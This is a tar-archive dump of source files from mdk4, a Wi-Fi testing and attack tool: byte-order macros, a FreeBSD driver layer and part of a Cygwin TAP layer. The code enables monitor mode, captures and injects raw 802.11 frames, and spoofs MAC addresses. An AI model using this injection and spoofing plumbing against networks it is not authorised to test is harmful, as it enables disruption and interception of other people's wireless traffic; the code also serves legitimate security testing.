#define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t)x)
#define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t)x)
#define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t)x)
#define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t)x)
#define __cpu_to_le64(x) (unsigned long long) OSSwapHostToLittleInt64((uint64_t)x)
#define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t)x)
#define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t)x)
#else
#include
#define __swab64(x) NXSwapLongLong(x)
#define __swab32(x) NXSwapLong(x)
#define __swab16(x) NXSwapShort(x)
#define __be64_to_cpu(x) NXSwapBigLongLongToHost(x)
#define __be32_to_cpu(x) NXSwapBigLongToHost(x)
#define __be16_to_cpu(x) NXSwapBigShortToHost(x)
#define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x)
#define __le32_to_cpu(x) NXSwapLittleLongToHost(x)
#define __le16_to_cpu(x) NXSwapLittleShortToHost(x)
#define __cpu_to_be64(x) NXSwapHostLongLongToBig(x)
#define __cpu_to_be32(x) NXSwapHostLongToBig(x)
#define __cpu_to_be16(x) NXSwapHostShortToBig(x)
#define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x)
#define __cpu_to_le32(x) NXSwapHostLongToLittle(x)
#define __cpu_to_le16(x) NXSwapHostShortToLittle(x)
#endif
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#define __PDP_ENDIAN 3412
#define __BYTE_ORDER __BIG_ENDIAN
#define AIRCRACK_NG_BYTE_ORDER_DEFINED
#endif
/*
* Solaris
* -------
*/
#if defined(__sparc__) && defined(__sun__)
#include
#include
#include
#define __be64_to_cpu(x) (x)
#define __be32_to_cpu(x) (x)
#define __be16_to_cpu(x) (x)
#define __cpu_to_be64(x) (x)
#define __cpu_to_be32(x) (x)
#define __cpu_to_be16(x) (x)
#define __le64_to_cpu(x) ___my_swab64(x)
#define __le32_to_cpu(x) ___my_swab32(x)
#define __le16_to_cpu(x) ___my_swab16(x)
#define __cpu_to_le64(x) ___my_swab64(x)
#define __cpu_to_le32(x) ___my_swab32(x)
#define __cpu_to_le16(x) ___my_swab16(x)
typedef uint64_t u_int64_t;
typedef uint32_t u_int32_t;
typedef uint16_t u_int16_t;
typedef uint8_t u_int8_t;
#define AIRCRACK_NG_BYTE_ORDER_DEFINED
#endif
/*
* Custom stuff
*/
#if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__)
#include
#define __cpu_to_be64(x) = OSSwapHostToBigInt64(x)
#define __cpu_to_be32(x) = OSSwapHostToBigInt32(x)
#define AIRCRACK_NG_BYTE_ORDER_DEFINED
#endif
// FreeBSD
#ifdef __FreeBSD__
#include
#endif
// XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...?
// XXX: Mac: Check http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h
// http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html
// Write to apple to ask what should be used.
#if defined(LITTLE_ENDIAN)
#define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN
#elif defined(__LITTLE_ENDIAN)
#define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN
#elif defined(_LITTLE_ENDIAN)
#define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN
#endif
#if defined(BIG_ENDIAN)
#define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN
#elif defined(__BIG_ENDIAN)
#define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN
#elif defined(_BIG_ENDIAN)
#define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN
#endif
#if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN)
#error Impossible to determine endianness (Little or Big endian), please contact the author.
#endif
#if defined(BYTE_ORDER)
#if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
#elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
#endif
#elif defined(__BYTE_ORDER)
#if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
#elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
#endif
#elif defined(_BYTE_ORDER)
#if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN
#elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
#define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN
#endif
#endif
#ifndef AIRCRACK_NG_BYTE_ORDER
#error Impossible to determine endianness (Little or Big endian), please contact the author.
#endif
#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN)
#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
#define __be64_to_cpu(x) ___my_swab64(x)
#define __be32_to_cpu(x) ___my_swab32(x)
#define __be16_to_cpu(x) ___my_swab16(x)
#define __cpu_to_be64(x) ___my_swab64(x)
#define __cpu_to_be32(x) ___my_swab32(x)
#define __cpu_to_be16(x) ___my_swab16(x)
#define __le64_to_cpu(x) (x)
#define __le32_to_cpu(x) (x)
#define __le16_to_cpu(x) (x)
#define __cpu_to_le64(x) (x)
#define __cpu_to_le32(x) (x)
#define __cpu_to_le16(x) (x)
#endif
#ifndef htobe16
#define htobe16 ___my_swab16
#endif
#ifndef htobe32
#define htobe32 ___my_swab32
#endif
#ifndef htobe64
#define htobe64 ___my_swab64
#endif
#ifndef betoh16
#define betoh16 ___my_swab16
#endif
#ifndef betoh32
#define betoh32 ___my_swab32
#endif
#ifndef betoh64
#define betoh64 ___my_swab64
#endif
#ifndef htole16
#define htole16(x) (x)
#endif
#ifndef htole32
#define htole32(x) (x)
#endif
#ifndef htole64
#define htole64(x) (x)
#endif
#ifndef letoh16
#define letoh16(x) (x)
#endif
#ifndef letoh32
#define letoh32(x) (x)
#endif
#ifndef letoh64
#define letoh64(x) (x)
#endif
#endif
#if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN)
#ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED
#define __be64_to_cpu(x) (x)
#define __be32_to_cpu(x) (x)
#define __be16_to_cpu(x) (x)
#define __cpu_to_be64(x) (x)
#define __cpu_to_be32(x) (x)
#define __cpu_to_be16(x) (x)
#define __le64_to_cpu(x) ___my_swab64(x)
#define __le32_to_cpu(x) ___my_swab32(x)
#define __le16_to_cpu(x) ___my_swab16(x)
#define __cpu_to_le64(x) ___my_swab64(x)
#define __cpu_to_le32(x) ___my_swab32(x)
#define __cpu_to_le16(x) ___my_swab16(x)
#endif
#ifndef htobe16
#define htobe16(x) (x)
#endif
#ifndef htobe32
#define htobe32(x) (x)
#endif
#ifndef htobe64
#define htobe64(x) (x)
#endif
#ifndef betoh16
#define betoh16(x) (x)
#endif
#ifndef betoh32
#define betoh32(x) (x)
#endif
#ifndef betoh64
#define betoh64(x) (x)
#endif
#ifndef htole16
#define htole16 ___my_swab16
#endif
#ifndef htole32
#define htole32 ___my_swab32
#endif
#ifndef htole64
#define htole64 ___my_swab64
#endif
#ifndef letoh16
#define letoh16 ___my_swab16
#endif
#ifndef letoh32
#define letoh32 ___my_swab32
#endif
#ifndef letoh64
#define letoh64 ___my_swab64
#endif
#endif
// Common defines
#define cpu_to_le64 __cpu_to_le64
#define le64_to_cpu __le64_to_cpu
#define cpu_to_le32 __cpu_to_le32
#define le32_to_cpu __le32_to_cpu
#define cpu_to_le16 __cpu_to_le16
#define le16_to_cpu __le16_to_cpu
#define cpu_to_be64 __cpu_to_be64
#define be64_to_cpu __be64_to_cpu
#define cpu_to_be32 __cpu_to_be32
#define be32_to_cpu __be32_to_cpu
#define cpu_to_be16 __cpu_to_be16
#define be16_to_cpu __be16_to_cpu
#ifndef le16toh
#define le16toh le16_to_cpu
#endif
#ifndef be16toh
#define be16toh be16_to_cpu
#endif
#ifndef le32toh
#define le32toh le32_to_cpu
#endif
#ifndef be32toh
#define be32toh be32_to_cpu
#endif
#ifndef htons
#define htons be16_to_cpu
#endif
#ifndef htonl
#define htonl cpu_to_be16
#endif
#ifndef ntohs
#define ntohs cpu_to_be16
#endif
#ifndef ntohl
#define ntohl cpu_to_be32
#endif
#endif
mdk4-master/src/osdep/freebsd.c 0000644 0001750 0001750 00000032615 13525065636 017463 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for FreeBSD.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "osdep.h"
struct priv_fbsd {
/* iface */
int pf_fd;
/* rx */
int pf_nocrc;
/* tx */
unsigned char pf_buf[4096];
unsigned char *pf_next;
int pf_totlen;
struct ieee80211_bpf_params pf_txparams;
/* setchan */
int pf_s;
struct ifreq pf_ifr;
struct ieee80211req pf_ireq;
int pf_chan;
};
/* from ifconfig */
static __inline int
mapgsm(u_int freq, u_int flags)
{
freq *= 10;
if (flags & IEEE80211_CHAN_QUARTER)
freq += 5;
else if (flags & IEEE80211_CHAN_HALF)
freq += 10;
else
freq += 20;
/* NB: there is no 907/20 wide but leave room */
return (freq - 906*10) / 5;
}
static __inline int
mappsb(u_int freq)
{
return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5;
}
/*
* Convert MHz frequency to IEEE channel number.
*/
static u_int
ieee80211_mhz2ieee(u_int freq, u_int flags)
{
if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922))
return mapgsm(freq, flags);
if (freq == 2484)
return 14;
if (freq < 2484)
return (freq - 2407) / 5;
if (freq < 5000) {
if (flags & (IEEE80211_CHAN_HALF|IEEE80211_CHAN_QUARTER))
return mappsb(freq);
else if (freq > 4900)
return (freq - 4000) / 5;
else
return 15 + ((freq - 2512) / 20);
}
return (freq - 5000) / 5;
}
/* end of ifconfig */
static void get_radiotap_info(struct priv_fbsd *pf,
struct ieee80211_radiotap_header *rth, int *plen,
struct rx_info *ri)
{
uint32_t present;
uint8_t rflags = 0;
int i;
unsigned char *body = (unsigned char*) (rth+1);
int dbm_power = 0, db_power = 0;
/* reset control info */
if (ri)
memset(ri, 0, sizeof(*ri));
/* get info */
present = le32toh(rth->it_present);
for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) {
if (!(present & (1 << i)))
continue;
switch (i) {
case IEEE80211_RADIOTAP_TSFT:
body += sizeof(uint64_t);
break;
case IEEE80211_RADIOTAP_FLAGS:
rflags = *((uint8_t*)body);
/* fall through */
case IEEE80211_RADIOTAP_RATE:
body += sizeof(uint8_t);
break;
case IEEE80211_RADIOTAP_CHANNEL:
if (ri) {
uint16_t *p = (uint16_t*) body;
int c = ieee80211_mhz2ieee(*p, *(p+1));
ri->ri_channel = c;
}
body += sizeof(uint16_t)*2;
break;
case IEEE80211_RADIOTAP_FHSS:
body += sizeof(uint16_t);
break;
case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
dbm_power = *body++;
break;
case IEEE80211_RADIOTAP_DBM_ANTNOISE:
dbm_power -= *body++;
break;
case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
db_power = *body++;
break;
case IEEE80211_RADIOTAP_DB_ANTNOISE:
db_power -= *body++;
break;
default:
i = IEEE80211_RADIOTAP_EXT+1;
break;
}
}
/* set power */
if (ri) {
if (dbm_power)
ri->ri_power = dbm_power;
else
ri->ri_power = db_power;
}
/* XXX cache; drivers won't change this per-packet */
/* check if FCS/CRC is included in packet */
if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
*plen -= IEEE80211_CRC_LEN;
pf->pf_nocrc = 1;
}
}
static unsigned char *get_80211(struct priv_fbsd *pf, int *plen,
struct rx_info *ri)
{
struct bpf_hdr *bpfh;
struct ieee80211_radiotap_header *rth;
void *ptr;
unsigned char **data;
int *totlen;
data = &pf->pf_next;
totlen = &pf->pf_totlen;
assert(*totlen);
/* bpf hdr */
bpfh = (struct bpf_hdr*) (*data);
assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
*totlen -= bpfh->bh_hdrlen;
/* check if more packets */
if ((int)bpfh->bh_caplen < *totlen) {
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
int offset = BPF_WORDALIGN(tot);
*data = (unsigned char*)bpfh + offset;
*totlen -= offset - tot; /* take into account align bytes */
} else if ((int)bpfh->bh_caplen > *totlen)
abort();
*plen = bpfh->bh_caplen;
*totlen -= bpfh->bh_caplen;
assert(*totlen >= 0);
/* radiotap */
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
get_radiotap_info(pf, rth, plen, ri);
*plen -= rth->it_len;
assert(*plen > 0);
/* data */
ptr = (char*)rth + rth->it_len;
return ptr;
}
static int fbsd_get_channel(struct wif *wi)
{
struct priv_fbsd *pf = wi_priv(wi);
if(ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1;
return pf->pf_ireq.i_val;
}
static int fbsd_read(struct wif *wi, unsigned char *h80211, int len,
struct rx_info *ri)
{
struct priv_fbsd *pf = wi_priv(wi);
unsigned char *wh;
int plen;
assert(len > 0);
/* need to read more */
if (pf->pf_totlen == 0) {
pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf));
if (pf->pf_totlen == -1) {
pf->pf_totlen = 0;
return -1;
}
pf->pf_next = pf->pf_buf;
}
/* read 802.11 packet */
wh = get_80211(pf, &plen, ri);
if (plen > len)
plen = len;
assert(plen > 0);
memcpy(h80211, wh, plen);
if(ri && !ri->ri_channel)
ri->ri_channel = wi_get_channel(wi);
return plen;
}
static int fbsd_write(struct wif *wi, unsigned char *h80211, int len,
struct tx_info *ti)
{
struct iovec iov[2];
struct priv_fbsd *pf = wi_priv(wi);
int rc;
/* XXX make use of ti */
if (ti) {}
iov[0].iov_base = &pf->pf_txparams;
iov[0].iov_len = pf->pf_txparams.ibp_len;
iov[1].iov_base = h80211;
iov[1].iov_len = len;
rc = writev(pf->pf_fd, iov, 2);
if (rc == -1)
return rc;
if (rc < (int) iov[0].iov_len)
return 0;
return rc - iov[0].iov_len;
}
static int fbsd_set_channel(struct wif *wi, int chan)
{
struct priv_fbsd *pf = wi_priv(wi);
pf->pf_ireq.i_val = chan;
if( ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0 )
return -1;
pf->pf_chan = chan;
return 0;
}
static void do_free(struct wif *wi)
{
assert(wi->wi_priv);
free(wi->wi_priv);
wi->wi_priv = 0;
free(wi);
}
static void fbsd_close(struct wif *wi)
{
struct priv_fbsd *pf = wi_priv(wi);
close(pf->pf_fd);
close(pf->pf_s);
do_free(wi);
}
static int do_fbsd_open(struct wif *wi, char *iface)
{
int i;
char buf[64];
int fd = -1;
struct ifreq ifr;
unsigned int dlt = DLT_IEEE802_11_RADIO;
int s;
unsigned int flags;
struct ifmediareq ifmr;
int *mwords;
struct priv_fbsd *pf = wi_priv(wi);
/* basic sanity check */
if (strlen(iface) >= sizeof(ifr.ifr_name))
return -1;
/* open wifi */
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1)
return -1;
pf->pf_s = s;
/* set iface up and promisc */
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, iface);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1)
goto close_sock;
flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
flags |= IFF_UP | IFF_PPROMISC;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, iface);
ifr.ifr_flags = flags & 0xffff;
ifr.ifr_flagshigh = flags >> 16;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1)
goto close_sock;
/* monitor mode */
memset(&ifmr, 0, sizeof(ifmr));
strcpy(ifmr.ifm_name, iface);
if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
goto close_sock;
assert(ifmr.ifm_count != 0);
mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
if (!mwords)
goto close_sock;
ifmr.ifm_ulist = mwords;
if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
free(mwords);
goto close_sock;
}
free(mwords);
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, iface);
ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1)
goto close_sock;
/* setup ifreq for chan that may be used in future */
strcpy(pf->pf_ireq.i_name, iface);
pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL;
/* same for ifreq [mac addr] */
strcpy(pf->pf_ifr.ifr_name, iface);
/* open bpf */
for(i = 0; i < 256; i++) {
sprintf(buf, "/dev/bpf%d", i);
fd = open(buf, O_RDWR);
if(fd < 0) {
if(errno != EBUSY)
return -1;
continue;
}
else
break;
}
if(fd < 0)
goto close_sock;
strcpy(ifr.ifr_name, iface);
if(ioctl(fd, BIOCSETIF, &ifr) < 0)
goto close_bpf;
if (ioctl(fd, BIOCSDLT, &dlt) < 0)
goto close_bpf;
dlt = 1;
if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1)
goto close_bpf;
return fd;
close_sock:
close(s);
return -1;
close_bpf:
close(fd);
goto close_sock;
}
static int fbsd_fd(struct wif *wi)
{
struct priv_fbsd *pf = wi_priv(wi);
return pf->pf_fd;
}
static int fbsd_get_mac(struct wif *wi, unsigned char *mac)
{
struct ifaddrs *ifa, *p;
char *name = wi_get_ifname(wi);
int rc = -1;
struct sockaddr_dl* sdp;
if (getifaddrs(&ifa) == -1)
return -1;
p = ifa;
while (p) {
if (p->ifa_addr->sa_family == AF_LINK &&
strcmp(name, p->ifa_name) == 0) {
sdp = (struct sockaddr_dl*) p->ifa_addr;
memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
rc = 0;
break;
}
p = p->ifa_next;
}
freeifaddrs(ifa);
return rc;
}
static int fbsd_get_monitor(struct wif *wi)
{
if (wi) {} /* XXX unused */
/* XXX */
return 0;
}
static int fbsd_get_rate(struct wif *wi)
{
if (wi) {} /* XXX unused */
/* XXX */
return 1000000;
}
static int fbsd_set_rate(struct wif *wi, int rate)
{
if (wi || rate) {} /* XXX unused */
/* XXX */
return 0;
}
static int fbsd_set_mac(struct wif *wi, unsigned char *mac)
{
struct priv_fbsd *priv = wi_priv(wi);
struct ifreq *ifr = &priv->pf_ifr;
ifr->ifr_addr.sa_family = AF_LINK;
ifr->ifr_addr.sa_len = 6;
memcpy(ifr->ifr_addr.sa_data, mac, 6);
return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr);
}
static struct wif *fbsd_open(char *iface)
{
struct wif *wi;
struct priv_fbsd *pf;
int fd;
/* setup wi struct */
wi = wi_alloc(sizeof(*pf));
if (!wi)
return NULL;
wi->wi_read = fbsd_read;
wi->wi_write = fbsd_write;
wi->wi_set_channel = fbsd_set_channel;
wi->wi_get_channel = fbsd_get_channel;
wi->wi_close = fbsd_close;
wi->wi_fd = fbsd_fd;
wi->wi_get_mac = fbsd_get_mac;
wi->wi_set_mac = fbsd_set_mac;
wi->wi_get_rate = fbsd_get_rate;
wi->wi_set_rate = fbsd_set_rate;
wi->wi_get_monitor = fbsd_get_monitor;
/* setup iface */
fd = do_fbsd_open(wi, iface);
if (fd == -1) {
do_free(wi);
return NULL;
}
/* setup private state */
pf = wi_priv(wi);
pf->pf_fd = fd;
pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION;
pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6;
pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */
pf->pf_txparams.ibp_try1 = 1; /* no retransmits */
pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK;
pf->pf_txparams.ibp_power = 100; /* nominal max */
pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */
return wi;
}
struct wif *wi_open_osdep(char *iface)
{
return fbsd_open(iface);
}
int get_battery_state(void)
{
#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__)
int value;
size_t len;
len = 4;
value = 0;
sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
if (value == 0)
{
sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
value = value * 60;
}
else
{
value = 0;
}
return( value );
#elif defined(_BSD_SOURCE)
struct apm_power_info api;
int apmfd;
if ((apmfd = open("/dev/apm", O_RDONLY)) < 0)
return 0;
if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) {
close(apmfd);
return 0;
}
close(apmfd);
if (api.battery_state == APM_BATT_UNKNOWN ||
api.battery_state == APM_BATTERY_ABSENT ||
api.battery_state == APM_BATT_CHARGING ||
api.ac_state == APM_AC_ON) {
return 0;
}
return ((int)(api.minutes_left))*60;
#else
return 0;
#endif
}
mdk4-master/src/osdep/cygwin_tap.c 0000644 0001750 0001750 00000031113 13525065636 020205 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andrea Bittau
*
* OS dependent API for cygwin. TAP routines
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include
#include
#include
#include "osdep.h"
#include
#include
#include
#include
#include
#include
#include "network.h"
#include "tap-win32/common.h"
extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,PULONG pOutBufLen);
extern DWORD WINAPI AddIPAddress(IPAddr Address,IPMask IpMask,DWORD IfIndex,PULONG NTEContext,PULONG NTEInstance);
extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext);
extern int cygwin_read_reader(int fd, int plen, void *dst, int len);
static void *ti_reader(void *arg);
struct tip_cygwin {
char tc_name[MAX_IFACE_NAME];
HANDLE tc_h;
pthread_t tc_reader;
volatile int tc_running;
int tc_pipe[2]; /* reader -> parent */
pthread_mutex_t tc_mtx;
HKEY tc_key;
char tc_guid[256];
};
/**
* Stop the reader thread (if it is running)
* @return 0 if stopped or -1 if it failed to stop it
*/
static int stop_reader(struct tip_cygwin *priv)
{
if (priv->tc_running == 1) {
int tries = 3;
priv->tc_running = 0;
while ((priv->tc_running != -1) && tries--)
sleep(1);
if (tries <= 0)
return -1;
}
return 0;
}
/**
* Start reader thread
* @return -1 if failed to start thread or 0 if it is successful
*/
static int start_reader(struct tip_cygwin *priv)
{
priv->tc_running = 2;
if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv))
return -1;
priv->tc_running = 1;
return 0;
}
/**
* Change status (enable/disable) of the device
*/
static int ti_media_status(struct tip_cygwin *priv, int on)
{
ULONG s = on;
DWORD len;
if (!DeviceIoControl(priv->tc_h, TAP_IOCTL_SET_MEDIA_STATUS, &s,
sizeof(s), &s, sizeof(s), &len, NULL))
return -1;
return 0;
}
/**
* Try opening device
*/
static int ti_try_open(struct tip_cygwin *priv, char *guid)
{
int any = priv->tc_guid[0] == 0;
char device[256];
HANDLE h;
if (!any && strcmp(priv->tc_guid, guid) != 0)
return 0;
/* open the device */
snprintf(device, sizeof(device), "%s%s%s",
USERMODEDEVICEDIR, guid, TAPSUFFIX);
h = CreateFile(device, GENERIC_READ | GENERIC_WRITE, 0, 0,
OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM
| FILE_FLAG_OVERLAPPED, 0);
if (h == INVALID_HANDLE_VALUE) {
if (any)
return 0;
else
return -1;
}
priv->tc_h = h;
/* XXX check tap version */
/* bring iface up */
if (ti_media_status(priv, 1) == -1)
return -1;
/* XXX grab printable name */
snprintf(priv->tc_name, sizeof(priv->tc_name)-1, "%s", guid);
if (any)
snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
return 1;
}
/**
* Read registry value
* @param key Registry key
* @return 0 if successful, -1 if it failed
*/
static int ti_read_reg(struct tip_cygwin *priv, char *key, char *res, int len)
{
DWORD dt, l = len;
if (RegQueryValueEx(priv->tc_key, key, NULL, &dt,
(unsigned char*) res, &l) != ERROR_SUCCESS)
return -1;
if (dt != REG_SZ)
return -1;
if ((int)l > len)
return -1;
return 0;
}
static int ti_get_devs_component(struct tip_cygwin *priv, char *name)
{
char key[256];
int rc = 0;
snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE,
&priv->tc_key) != ERROR_SUCCESS)
return -1;
if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1)
goto out;
/* make sure component id matches */
if (strcmp(key, TAP_COMPONENT_ID) != 0)
goto out;
/* get guid */
if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1)
goto out;
rc = ti_try_open(priv, key);
out:
if (rc != 1) {
RegCloseKey(priv->tc_key);
priv->tc_key = 0;
}
return rc;
}
static int ti_do_open_cygwin(struct tip_cygwin *priv)
{
int rc = -1;
HKEY ak47;
int i;
char name[256];
DWORD len;
/* open network driver key */
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47)
!= ERROR_SUCCESS)
return -1;
/* find tap */
for (i = 0;; i++) {
len = sizeof(name);
if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL)
!= ERROR_SUCCESS)
break;
rc = ti_get_devs_component(priv, name);
if (rc)
break;
rc = -1;
}
RegCloseKey(ak47);
if (rc == 1)
rc = 0;
return rc;
}
static void ti_do_free(struct tif *ti)
{
struct tip_cygwin *priv = ti_priv(ti);
/* stop reader */
stop_reader(priv);
if (priv->tc_pipe[0]) {
close(priv->tc_pipe[0]);
close(priv->tc_pipe[1]);
}
/* close card */
if (priv->tc_h) {
ti_media_status(priv, 0);
CloseHandle(priv->tc_h);
}
if (priv->tc_key)
RegCloseKey(priv->tc_key);
free(priv);
free(ti);
}
static void ti_close_cygwin(struct tif *ti)
{
ti_do_free(ti);
}
static char *ti_name_cygwin(struct tif *ti)
{
struct tip_cygwin *priv = ti_priv(ti);
return priv->tc_name;
}
/* XXX */
static int ti_is_us(struct tip_cygwin *priv, HDEVINFO *hdi,
SP_DEVINFO_DATA *did)
{
char buf[256];
DWORD len = sizeof(buf), dt;
if (priv) {} /* XXX unused */
if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt,
(unsigned char*)buf, len, &len))
return 0;
if (dt != REG_SZ)
return 0;
return strstr(buf, "TAP-Win32") != NULL;
}
static int ti_reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state)
{
SP_PROPCHANGE_PARAMS parm;
parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader);
parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
parm.Scope = DICS_FLAG_GLOBAL;
parm.StateChange = state;
if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*)
&parm, sizeof(parm)))
return -1;
if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did))
return -1;
return 0;
}
/**
* Reset the device
* @return 0 if successful, -1 if it failed
*/
static int ti_do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did)
{
int rc;
rc = ti_reset_state(hdi, did, DICS_DISABLE);
if (rc)
return rc;
return ti_reset_state(hdi, did, DICS_ENABLE);
}
static int ti_restart(struct tip_cygwin *priv)
{
/* kill handle to if */
if (priv->tc_h)
CloseHandle(priv->tc_h);
/* stop reader */
if (stop_reader(priv))
return -1;
/* reopen dev */
if (ti_do_open_cygwin(priv))
return -1;
return start_reader(priv);
}
static int ti_reset(struct tip_cygwin *priv)
{
HDEVINFO hdi;
SP_DEVINFO_DATA did;
int i;
int rc = -1;
hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL,
DIGCF_PRESENT);
if (hdi == INVALID_HANDLE_VALUE)
return -1;
/* find device */
for (i = 0;; i++) {
did.cbSize = sizeof(did);
if (!SetupDiEnumDeviceInfo(hdi, i, &did))
break;
if (!ti_is_us(priv, &hdi, &did))
continue;
rc = ti_do_reset(&hdi, &did);
